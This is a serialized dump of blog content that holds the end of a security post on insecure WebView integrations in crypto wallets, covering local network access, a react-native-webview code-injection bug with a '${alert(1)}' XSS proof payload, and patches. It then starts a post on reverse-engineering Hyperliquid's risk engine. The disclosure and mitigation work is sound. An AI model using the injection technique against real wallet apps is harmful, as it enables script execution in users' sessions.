pic",{"type":21,"tag":153,"props":160318,"children":160319},{"style":198},[160320],{"type":26,"value":355},{"type":21,"tag":153,"props":160322,"children":160323},{"style":192},[160324],{"type":26,"value":35363},{"type":21,"tag":153,"props":160326,"children":160327},{"style":198},[160328],{"type":26,"value":35605},{"type":21,"tag":153,"props":160330,"children":160331},{"style":192},[160332],{"type":26,"value":160333},"URL",{"type":21,"tag":153,"props":160335,"children":160336},{"style":198},[160337],{"type":26,"value":355},{"type":21,"tag":153,"props":160339,"children":160340},{"style":181},[160341],{"type":26,"value":160342},"createObjectURL",{"type":21,"tag":153,"props":160344,"children":160345},{"style":198},[160346],{"type":26,"value":189},{"type":21,"tag":153,"props":160348,"children":160349},{"style":192},[160350],{"type":26,"value":35641},{"type":21,"tag":153,"props":160352,"children":160353},{"style":198},[160354],{"type":26,"value":530},{"type":21,"tag":153,"props":160356,"children":160357},{"class":155,"line":26346},[160358],{"type":21,"tag":153,"props":160359,"children":160360},{"style":198},[160361],{"type":26,"value":160362},"                });\n",{"type":21,"tag":153,"props":160364,"children":160365},{"class":155,"line":26355},[160366],{"type":21,"tag":153,"props":160367,"children":160368},{"emptyLinePlaceholder":16},[160369],{"type":26,"value":759},{"type":21,"tag":153,"props":160371,"children":160372},{"class":155,"line":26431},[160373,160378,160382,160387,160391,160396,160400,160405,160409],{"type":21,"tag":153,"props":160374,"children":160375},{"style":192},[160376],{"type":26,"value":160377},"                navigator",{"type":21,"tag":153,"props":160379,"children":160380},{"style":198},[160381],{"type":26,"value":355},{"type":21,"tag":153,"props":160383,"children":160384},{"style":192},[160385],{"type":26,"value":160386},"geolocation",{"type":21,"tag":153,"props":160388,"children":160389},{"style":198},[160390],{"type":26,"value":355},{"type":21,"tag":153,"props":160392,"children":160393},{"style":181},[160394],{"type":26,"value":160395},"getCurrentPosition",{"type":21,"tag":153,"props":160397,"children":160398},{"style":198},[160399],{"type":26,"value":189},{"type":21,"tag":153,"props":160401,"children":160402},{"style":192},[160403],{"type":26,"value":160404},"pos",{"type":21,"tag":153,"props":160406,"children":160407},{"style":170},[160408],{"type":26,"value":30447},{"type":21,"tag":153,"props":160410,"children":160411},{"style":198},[160412],{"type":26,"value":236},{"type":21,"tag":153,"props":160414,"children":160415},{"class":155,"line":26464},[160416,160421,160425,160429,160433,160437,160442],{"type":21,"tag":153,"props":160417,"children":160418},{"style":170},[160419],{"type":26,"value":160420},"                    const",{"type":21,"tag":153,"props":160422,"children":160423},{"style":192},[160424],{"type":26,"value":40138},{"type":21,"tag":153,"props":160426,"children":160427},{"style":198},[160428],{"type":26,"value":35605},{"type":21,"tag":153,"props":160430,"children":160431},{"style":192},[160432],{"type":26,"value":160404},{"type":21,"tag":153,"props":160434,"children":160435},{"style":198},[160436],{"type":26,"value":355},{"type":21,"tag":153,"props":160438,"children":160439},{"style":192},[160440],{"type":26,"value":160441},"coords",{"type":21,"tag":153,"props":160443,"children":160444},{"style":198},[160445],{"type":26,"value":1759},{"type":21,"tag":153,"props":160447,"children":160448},{"class":155,"line":26472},[160449,160454,160458,160462,160466,160471,160475,160479,160483,160488,160492,160497,160501,160505,160509,160513,160517,160522,160526,160530,160534,160539,160543,160547,160551,160555,160559,160563,160567],{"type":21,"tag":153,"props":160450,"children":160451},{"style":192},[160452],{"type":26,"value":160453},"                    gps",{"type":21,"tag":153,"props":160455,"children":160456},{"style":198},[160457],{"type":26,"value":355},{"type":21,"tag":153,"props":160459,"children":160460},{"style":192},[160461],{"type":26,"value":37658},{"type":21,"tag":153,"props":160463,"children":160464},{"style":198},[160465],{"type":26,"value":35605},{"type":21,"tag":153,"props":160467,"children":160468},{"style":671},[160469],{"type":26,"value":160470},"`Lat: ",{"type":21,"tag":153,"props":160472,"children":160473},{"style":170},[160474],{"type":26,"value":36802},{"type":21,"tag":153,"props":160476,"children":160477},{"style":192},[160478],{"type":26,"value":5896},{"type":21,"tag":153,"props":160480,"children":160481},{"style":198},[160482],{"type":26,"value":355},{"type":21,"tag":153,"props":160484,"children":160485},{"style":192},[160486],{"type":26,"value":160487},"latitude",{"type":21,"tag":153,"props":160489,"children":160490},{"style":198},[160491],{"type":26,"value":355},{"type":21,"tag":153,"props":160493,"children":160494},{"style":181},[160495],{"type":26,"value":160496},"toFixed",{"type":21,"tag":153,"props":160498,"children":160499},{"style":198},[160500],{"type":26,"value":189},{"type":21,"tag":153,"props":160502,"children":160503},{"style":300},[160504],{"type":26,"value":3033},{"type":21,"tag":153,"props":160506,"children":160507},{"style":198},[160508],{"type":26,"value":2071},{"type":21,"tag":153,"props":160510,"children":160511},{"style":170},[160512],{"type":26,"value":36834},{"type":21,"tag":153,"props":160514,"children":160515},{"style":50663},[160516],{"type":26,"value":50666},{"type":21,"tag":153,"props":160518,"children":160519},{"style":671},[160520],{"type":26,"value":160521},"Lon: ",{"type":21,"tag":153,"props":160523,"children":160524},{"style":170},[160525],{"type":26,"value":36802},{"type":21,"tag":153,"props":160527,"children":160528},{"style":192},[160529],{"type":26,"value":5896},{"type":21,"tag":153,"props":160531,"children":160532},{"style":198},[160533],{"type":26,"value":355},{"type":21,"tag":153,"props":160535,"children":160536},{"style":192},[160537],{"type":26,"value":160538},"longitude",{"type":21,"tag":153,"props":160540,"children":160541},{"style":198},[160542],{"type":26,"value":355},{"type":21,"tag":153,"props":160544,"children":160545},{"style":181},[160546],{"type":26,"value":160496},{"type":21,"tag":153,"props":160548,"children":160549},{"style":198},[160550],{"type":26,"value":189},{"type":21,"tag":153,"props":160552,"children":160553},{"style":300},[160554],{"type":26,"value":3033},{"type":21,"tag":153,"props":160556,"children":160557},{"style":198},[160558],{"type":26,"value":2071},{"type":21,"tag":153,"props":160560,"children":160561},{"style":170},[160562],{"type":26,"value":36834},{"type":21,"tag":153,"props":160564,"children":160565},{"style":671},[160566],{"type":26,"value":13102},{"type":21,"tag":153,"props":160568,"children":160569},{"style":198},[160570],{"type":26,"value":1759},{"type":21,"tag":153,"props":160572,"children":160573},{"class":155,"line":26480},[160574,160579,160583,160587,160592,160596,160600],{"type":21,"tag":153,"props":160575,"children":160576},{"style":198},[160577],{"type":26,"value":160578},"                }, ",{"type":21,"tag":153,"props":160580,"children":160581},{"style":192},[160582],{"type":26,"value":50710},{"type":21,"tag":153,"props":160584,"children":160585},{"style":170},[160586],{"type":26,"value":30447},{"type":21,"tag":153,"props":160588,"children":160589},{"style":181},[160590],{"type":26,"value":160591}," alert",{"type":21,"tag":153,"props":160593,"children":160594},{"style":198},[160595],{"type":26,"value":189},{"type":21,"tag":153,"props":160597,"children":160598},{"style":192},[160599],{"type":26,"value":50710},{"type":21,"tag":153,"props":160601,"children":160602},{"style":198},[160603],{"type":26,"value":9951},{"type":21,"tag":153,"props":160605,"children":160606},{"class":155,"line":26517},[160607],{"type":21,"tag":153,"props":160608,"children":160609},{"style":198},[160610],{"type":26,"value":50364},{"type":21,"tag":153,"props":160612,"children":160613},{"class":155,"line":26530},[160614],{"type":21,"tag":153,"props":160615,"children":160616},{"emptyLinePlaceholder":16},[160617],{"type":26,"value":759},{"type":21,"tag":153,"props":160619,"children":160620},{"class":155,"line":26543},[160621],{"type":21,"tag":153,"props":160622,"children":160623},{"style":198},[160624],{"type":26,"value":2765},{"type":21,"tag":153,"props":160626,"children":160627},{"class":155,"line":26556},[160628,160633],{"type":21,"tag":153,"props":160629,"children":160630},{"style":181},[160631],{"type":26,"value":160632},"        main",{"type":21,"tag":153,"props":160634,"children":160635},{"style":198},[160636],{"type":26,"value":839},{"type":21,"tag":153,"props":160638,"children":160639},{"class":155,"line":26610},[160640,160644,160648],{"type":21,"tag":153,"props":160641,"children":160642},{"style":35069},[160643],{"type":26,"value":35522},{"type":21,"tag":153,"props":160645,"children":160646},{"style":170},[160647],{"type":26,"value":35109},{"type":21,"tag":153,"props":160649,"children":160650},{"style":35069},[160651],{"type":26,"value":4308},{"type":21,"tag":153,"props":160653,"children":160654},{"class":155,"line":26619},[160655,160659,160663],{"type":21,"tag":153,"props":160656,"children":160657},{"style":35069},[160658],{"type":26,"value":35123},{"type":21,"tag":153,"props":160660,"children":160661},{"style":170},[160662],{"type":26,"value":35093},{"type":21,"tag":153,"props":160664,"children":160665},{"style":35069},[160666],{"type":26,"value":4308},{"type":21,"tag":153,"props":160668,"children":160669},{"class":155,"line":34974},[160670,160674,160678],{"type":21,"tag":153,"props":160671,"children":160672},{"style":35069},[160673],{"type":26,"value":35123},{"type":21,"tag":153,"props":160675,"children":160676},{"style":170},[160677],{"type":26,"value":35076},{"type":21,"tag":153,"props":160679,"children":160680},{"style":35069},[160681],{"type":26,"value":4308},{"type":21,"tag":21591,"props":160683,"children":160684},{"id":6957},[160685],{"type":26,"value":6960},{"type":21,"tag":22,"props":160687,"children":160688},{},[160689],{"type":26,"value":160690},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":21,"tag":22,"props":160692,"children":160693},{},[160694,160696,160702],{"type":26,"value":160695},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":21,"tag":29,"props":160697,"children":160700},{"href":160698,"rel":160699},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[33],[160701],{"type":26,"value":49874},{"type":26,"value":355},{"type":21,"tag":34041,"props":160704,"children":160705},{"style":34043},[160706],{"type":21,"tag":3644,"props":160707,"children":160711},{"src":160708,"alt":160709,"style":160710},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":21,"tag":22,"props":160713,"children":160714},{},[160715],{"type":26,"value":160716},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":21,"tag":66,"props":160718,"children":160720},{"id":160719},"local-network-access",[160721],{"type":26,"value":160722},"Local Network Access",{"type":21,"tag":22,"props":160724,"children":160725},{},[160726,160728,160735,160737,160743],{"type":26,"value":160727},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":21,"tag":29,"props":160729,"children":160732},{"href":160730,"rel":160731},"https://wicg.github.io/private-network-access/",[33],[160733],{"type":26,"value":160734},"Private Network Access",{"type":26,"value":160736}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":21,"tag":29,"props":160738,"children":160741},{"href":160739,"rel":160740},"https://x.com/taviso/status/2051310678800253318",[33],[160742],{"type":26,"value":160739},{"type":26,"value":160744},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":21,"tag":34041,"props":160746,"children":160747},{"style":34043},[160748],{"type":21,"tag":3644,"props":160749,"children":160752},{"src":160750,"alt":160709,"style":160751},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":21,"tag":22,"props":160754,"children":160755},{},[160756],{"type":26,"value":160757},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":21,"tag":160759,"props":160760,"children":160763},"zoom-image",{"src":160761,"alt":160762},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":21,"tag":22,"props":160765,"children":160766},{},[160767],{"type":26,"value":160768},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":21,"tag":87,"props":160770,"children":160771},{},[160772,160777,160782],{"type":21,"tag":91,"props":160773,"children":160774},{},[160775],{"type":26,"value":160776},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":21,"tag":91,"props":160778,"children":160779},{},[160780],{"type":26,"value":160781},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":21,"tag":91,"props":160783,"children":160784},{},[160785],{"type":26,"value":160786},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":21,"tag":22,"props":160788,"children":160789},{},[160790],{"type":26,"value":160791},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":21,"tag":66,"props":160793,"children":160795},{"id":160794},"uxss-by-code-injection",[160796],{"type":26,"value":160797},"UXSS by Code Injection",{"type":21,"tag":22,"props":160799,"children":160800},{},[160801,160803,160809],{"type":26,"value":160802},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":21,"tag":78,"props":160804,"children":160806},{"className":160805},[],[160807],{"type":26,"value":160808},"injectJavascriptObject",{"type":26,"value":160810}," attribute worked. Here is the code snippet:",{"type":21,"tag":143,"props":160812,"children":160814},{"className":159050,"code":160813,"language":159052,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[160815],{"type":21,"tag":78,"props":160816,"children":160817},{"__ignoreMap":7},[160818,160838,160867,160901,160956,161061,161073,161086],{"type":21,"tag":153,"props":160819,"children":160820},{"class":155,"line":156},[160821,160825,160829,160834],{"type":21,"tag":153,"props":160822,"children":160823},{"style":170},[160824],{"type":26,"value":73078},{"type":21,"tag":153,"props":160826,"children":160827},{"style":214},[160828],{"type":26,"value":53340},{"type":21,"tag":153,"props":160830,"children":160831},{"style":181},[160832],{"type":26,"value":160833}," injectJavascriptObject",{"type":21,"tag":153,"props":160835,"children":160836},{"style":160},[160837],{"type":26,"value":18433},{"type":21,"tag":153,"props":160839,"children":160840},{"class":155,"line":166},[160841,160845,160849,160854,160858,160863],{"type":21,"tag":153,"props":160842,"children":160843},{"style":1751},[160844],{"type":26,"value":41978},{"type":21,"tag":153,"props":160846,"children":160847},{"style":160},[160848],{"type":26,"value":5820},{"type":21,"tag":153,"props":160850,"children":160851},{"style":181},[160852],{"type":26,"value":160853},"getSettings",{"type":21,"tag":153,"props":160855,"children":160856},{"style":160},[160857],{"type":26,"value":32862},{"type":21,"tag":153,"props":160859,"children":160860},{"style":181},[160861],{"type":26,"value":160862},"getJavaScriptEnabled",{"type":21,"tag":153,"props":160864,"children":160865},{"style":160},[160866],{"type":26,"value":94318},{"type":21,"tag":153,"props":160868,"children":160869},{"class":155,"line":225},[160870,160875,160880,160884,160889,160893,160897],{"type":21,"tag":153,"props":160871,"children":160872},{"style":214},[160873],{"type":26,"value":160874},"        String",{"type":21,"tag":153,"props":160876,"children":160877},{"style":192},[160878],{"type":26,"value":160879}," js",{"type":21,"tag":153,"props":160881,"children":160882},{"style":198},[160883],{"type":26,"value":255},{"type":21,"tag":153,"props":160885,"children":160886},{"style":671},[160887],{"type":26,"value":160888}," \"(function(){",{"type":21,"tag":153,"props":160890,"children":160891},{"style":50663},[160892],{"type":26,"value":50666},{"type":21,"tag":153,"props":160894,"children":160895},{"style":671},[160896],{"type":26,"value":22756},{"type":21,"tag":153,"props":160898,"children":160899},{"style":198},[160900],{"type":26,"value":12509},{"type":21,"tag":153,"props":160902,"children":160903},{"class":155,"line":239},[160904,160909,160913,160918,160922,160927,160931,160935,160939,160944,160948,160952],{"type":21,"tag":153,"props":160905,"children":160906},{"style":671},[160907],{"type":26,"value":160908},"          \"    window.\"",{"type":21,"tag":153,"props":160910,"children":160911},{"style":198},[160912],{"type":26,"value":5527},{"type":21,"tag":153,"props":160914,"children":160915},{"style":160},[160916],{"type":26,"value":160917}," JAVASCRIPT_INTERFACE ",{"type":21,"tag":153,"props":160919,"children":160920},{"style":198},[160921],{"type":26,"value":4099},{"type":21,"tag":153,"props":160923,"children":160924},{"style":671},[160925],{"type":26,"value":160926}," \" = window.\"",{"type":21,"tag":153,"props":160928,"children":160929},{"style":198},[160930],{"type":26,"value":5527},{"type":21,"tag":153,"props":160932,"children":160933},{"style":160},[160934],{"type":26,"value":160917},{"type":21,"tag":153,"props":160936,"children":160937},{"style":198},[160938],{"type":26,"value":4099},{"type":21,"tag":153,"props":160940,"children":160941},{"style":671},[160942],{"type":26,"value":160943}," \" || {};",{"type":21,"tag":153,"props":160945,"children":160946},{"style":50663},[160947],{"type":26,"value":50666},{"type":21,"tag":153,"props":160949,"children":160950},{"style":671},[160951],{"type":26,"value":22756},{"type":21,"tag":153,"props":160953,"children":160954},{"style":198},[160955],{"type":26,"value":12509},{"type":21,"tag":153,"props":160957,"children":160958},{"class":155,"line":382},[160959,160963,160967,160971,160975,160980,160984,160989,160993,160997,161001,161005,161009,161013,161018,161022,161027,161031,161036,161040,161044,161049,161053,161057],{"type":21,"tag":153,"props":160960,"children":160961},{"style":671},[160962],{"type":26,"value":160908},{"type":21,"tag":153,"props":160964,"children":160965},{"style":198},[160966],{"type":26,"value":5527},{"type":21,"tag":153,"props":160968,"children":160969},{"style":160},[160970],{"type":26,"value":160917},{"type":21,"tag":153,"props":160972,"children":160973},{"style":198},[160974],{"type":26,"value":4099},{"type":21,"tag":153,"props":160976,"children":160977},{"style":671},[160978],{"type":26,"value":160979}," \".injectedObjectJson = function () { return \"",{"type":21,"tag":153,"props":160981,"children":160982},{"style":198},[160983],{"type":26,"value":5527},{"type":21,"tag":153,"props":160985,"children":160986},{"style":160},[160987],{"type":26,"value":160988}," (injectedJavaScriptObject ",{"type":21,"tag":153,"props":160990,"children":160991},{"style":198},[160992],{"type":26,"value":1694},{"type":21,"tag":153,"props":160994,"children":160995},{"style":170},[160996],{"type":26,"value":72564},{"type":21,"tag":153,"props":160998,"children":160999},{"style":1751},[161000],{"type":26,"value":100338},{"type":21,"tag":153,"props":161002,"children":161003},{"style":170},[161004],{"type":26,"value":72564},{"type":21,"tag":153,"props":161006,"children":161007},{"style":1751},[161008],{"type":26,"value":37809},{"type":21,"tag":153,"props":161010,"children":161011},{"style":160},[161012],{"type":26,"value":5820},{"type":21,"tag":153,"props":161014,"children":161015},{"style":671},[161016],{"type":26,"value":161017},"\"`\"",{"type":21,"tag":153,"props":161019,"children":161020},{"style":198},[161021],{"type":26,"value":5527},{"type":21,"tag":153,"props":161023,"children":161024},{"style":160},[161025],{"type":26,"value":161026}," injectedJavaScriptObject ",{"type":21,"tag":153,"props":161028,"children":161029},{"style":198},[161030],{"type":26,"value":4099},{"type":21,"tag":153,"props":161032,"children":161033},{"style":671},[161034],{"type":26,"value":161035}," \"`\"",{"type":21,"tag":153,"props":161037,"children":161038},{"style":160},[161039],{"type":26,"value":11562},{"type":21,"tag":153,"props":161041,"children":161042},{"style":198},[161043],{"type":26,"value":4099},{"type":21,"tag":153,"props":161045,"children":161046},{"style":671},[161047],{"type":26,"value":161048}," \"; };",{"type":21,"tag":153,"props":161050,"children":161051},{"style":50663},[161052],{"type":26,"value":50666},{"type":21,"tag":153,"props":161054,"children":161055},{"style":671},[161056],{"type":26,"value":22756},{"type":21,"tag":153,"props":161058,"children":161059},{"style":198},[161060],{"type":26,"value":12509},{"type":21,"tag":153,"props":161062,"children":161063},{"class":155,"line":501},[161064,161069],{"type":21,"tag":153,"props":161065,"children":161066},{"style":671},[161067],{"type":26,"value":161068},"          \"})();\"",{"type":21,"tag":153,"props":161070,"children":161071},{"style":160},[161072],{"type":26,"value":1759},{"type":21,"tag":153,"props":161074,"children":161075},{"class":155,"line":533},[161076,161081],{"type":21,"tag":153,"props":161077,"children":161078},{"style":181},[161079],{"type":26,"value":161080},"        evaluateJavascriptWithFallback",{"type":21,"tag":153,"props":161082,"children":161083},{"style":160},[161084],{"type":26,"value":161085},"(js);\n",{"type":21,"tag":153,"props":161087,"children":161088},{"class":155,"line":542},[161089],{"type":21,"tag":153,"props":161090,"children":161091},{"style":160},[161092],{"type":26,"value":15381},{"type":21,"tag":22,"props":161094,"children":161095},{},[161096,161098,161104,161106,161111,161113,161119],{"type":26,"value":161097},"It basically injects a javascript code with the ",{"type":21,"tag":78,"props":161099,"children":161101},{"className":161100},[],[161102],{"type":26,"value":161103},"injectedJavascriptObject",{"type":26,"value":161105}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":21,"tag":78,"props":161107,"children":161109},{"className":161108},[],[161110],{"type":26,"value":161103},{"type":26,"value":161112},". If we control a single attribute we can inject a payload like ",{"type":21,"tag":78,"props":161114,"children":161116},{"className":161115},[],[161117],{"type":26,"value":161118},"${alert(1)}",{"type":26,"value":161120}," and achieve XSS in the context of the loaded page.",{"type":21,"tag":22,"props":161122,"children":161123},{},[161124,161126,161133],{"type":26,"value":161125},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":21,"tag":29,"props":161127,"children":161130},{"href":161128,"rel":161129},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[33],[161131],{"type":26,"value":161132},"PR with the report and fix",{"type":26,"value":355},{"type":21,"tag":22,"props":161135,"children":161136},{},[161137],{"type":26,"value":161138},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":21,"tag":22,"props":161140,"children":161141},{},[161142,161144,161150],{"type":26,"value":161143},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":21,"tag":78,"props":161145,"children":161147},{"className":161146},[],[161148],{"type":26,"value":161149},"injectedJavaScriptObject",{"type":26,"value":161151}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":21,"tag":114,"props":161153,"children":161154},{"id":5568},[161155],{"type":26,"value":5571},{"type":21,"tag":22,"props":161157,"children":161158},{},[161159],{"type":26,"value":161160},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":21,"tag":5603,"props":161162,"children":161163},{},[161164],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":161166},[161167,161171,161174,161175],{"id":158890,"depth":166,"text":158893,"children":161168},[161169,161170],{"id":158901,"depth":225,"text":158904},{"id":158976,"depth":225,"text":158979},{"id":159009,"depth":166,"text":159012,"children":161172},[161173],{"id":159199,"depth":225,"text":159202},{"id":160719,"depth":166,"text":160722},{"id":160794,"depth":166,"text":160797,"children":161176},[161177],{"id":5568,"depth":225,"text":5571},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":161182,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":161183,"description":161184,"date":161185,"author":161186,"image":161187,"isFeatured":16,"onBlogPage":16,"tags":161191,"hideToc":16,"body":161195,"_type":5619,"_id":167834,"_source":5621,"_file":167835,"_stem":167836,"_extension":5624},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":161188,"width":161189,"height":161190},"/posts/hyperliquid-risk-engine/title.png",1456,816,[161192,161193,161194],"hyperliquid","reverse-engineering","defi",{"type":18,"children":161196,"toc":167806},[161197,161203,161211,161216,161221,161226,161238,161243,161256,161275,161281,161293,161306,161311,161342,161347,161360,161365,161556,161562,161567,161579,161585,161590,161596,161609,161643,161648,161653,161665,161671,161691,161699,161712,161718,161729,161735,161747,161752,161758,161778,161786,161792,161826,161830,161866,161871,161876,161881,161894,161931,161936,161950,161956,161961,161987,161995,162000,162028,162033,162038,162376,162381,162386,162406,162433,162438,162451,162463,162468,162473,162479,162484,162489,162503,162508,162514,162542,162579,162590,162594,162599,162604,162610,162776,162811,162816,162822,162828,163017,163030,163035,163041,163062,163067,163073,163078,163083,163095,163100,163105,163111,163116,163121,163127,163133,163146,163179,163184,165760,166028,166033,167363,167368,167373,167385,167476,167488,167493,167499,167504,167512,167517,167525,167531,167565,167576,167584,167590,167596,167601,167609,167614,167619,167627,167639,167645,167650,167656,167667,167672,167678,167683,167688,167694,167699,167702,167707,167712,167718,167723,167735,167740,167745],{"type":21,"tag":66,"props":161198,"children":161200},{"id":161199},"perpetuals",[161201],{"type":26,"value":161202},"Perpetuals",{"type":21,"tag":5689,"props":161204,"children":161205},{},[161206],{"type":21,"tag":22,"props":161207,"children":161208},{},[161209],{"type":26,"value":161210},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":21,"tag":22,"props":161212,"children":161213},{},[161214],{"type":26,"value":161215},"What does that even have to do with reverse engineering?",{"type":21,"tag":66,"props":161217,"children":161218},{"id":161192},[161219],{"type":26,"value":161220},"Hyperliquid",{"type":21,"tag":22,"props":161222,"children":161223},{},[161224],{"type":26,"value":161225},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":21,"tag":22,"props":161227,"children":161228},{},[161229,161231,161236],{"type":26,"value":161230},"The node is tasked with a ",{"type":21,"tag":5302,"props":161232,"children":161233},{},[161234],{"type":26,"value":161235},"very hard problem",{"type":26,"value":161237},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":21,"tag":22,"props":161239,"children":161240},{},[161241],{"type":26,"value":161242},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":21,"tag":22,"props":161244,"children":161245},{},[161246,161248,161254],{"type":26,"value":161247},"Beyond that, the ",{"type":21,"tag":78,"props":161249,"children":161251},{"className":161250},[],[161252],{"type":26,"value":161253},"hl-node",{"type":26,"value":161255}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":21,"tag":22,"props":161257,"children":161258},{},[161259,161261,161266,161268,161273],{"type":26,"value":161260},"Armed with some curiosity, a good amount of ",{"type":21,"tag":5302,"props":161262,"children":161263},{},[161264],{"type":26,"value":161265},"inference",{"type":26,"value":161267},", and the right tooling, we'll take a deep dive using an ",{"type":21,"tag":5302,"props":161269,"children":161270},{},[161271],{"type":26,"value":161272},"interactive interface",{"type":26,"value":161274},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":21,"tag":66,"props":161276,"children":161278},{"id":161277},"the-million-dollar-question",[161279],{"type":26,"value":161280},"The Million Dollar Question",{"type":21,"tag":22,"props":161282,"children":161283},{},[161284,161286,161291],{"type":26,"value":161285},"Let's say a terrible trader opens a ",{"type":21,"tag":5302,"props":161287,"children":161288},{},[161289],{"type":26,"value":161290},"50x",{"type":26,"value":161292}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":21,"tag":22,"props":161294,"children":161295},{},[161296,161298,161304],{"type":26,"value":161297},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":21,"tag":78,"props":161299,"children":161301},{"className":161300},[],[161302],{"type":26,"value":161303},"compute_margin_requirement_by_mode",{"type":26,"value":161305}," function.",{"type":21,"tag":22,"props":161307,"children":161308},{},[161309],{"type":26,"value":161310},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":21,"tag":161312,"props":161313,"children":161314},"tip",{},[161315],{"type":21,"tag":22,"props":161316,"children":161317},{},[161318,161320,161325,161327,161334,161336,161341],{"type":26,"value":161319},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":21,"tag":5302,"props":161321,"children":161322},{},[161323],{"type":26,"value":161324},"click through",{"type":26,"value":161326}," each action performed by ",{"type":21,"tag":29,"props":161328,"children":161331},{"href":161329,"rel":161330},"https://github.com/renato-osec/patina-research",[33],[161332],{"type":26,"value":161333},"our Rust reverse engineering agent",{"type":26,"value":161335},". Return to the regular view by clicking ",{"type":21,"tag":78,"props":161337,"children":161339},{"className":161338},[],[161340],{"type":26,"value":8717},{"type":26,"value":355},{"type":21,"tag":161343,"props":161344,"children":161346},"bndb-viewer-embed",{"addr":161345,"line-start":3033,"line-end":136851},"0x555556bb4d20",[],{"type":21,"tag":22,"props":161348,"children":161349},{},[161350,161352,161358],{"type":26,"value":161351},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like 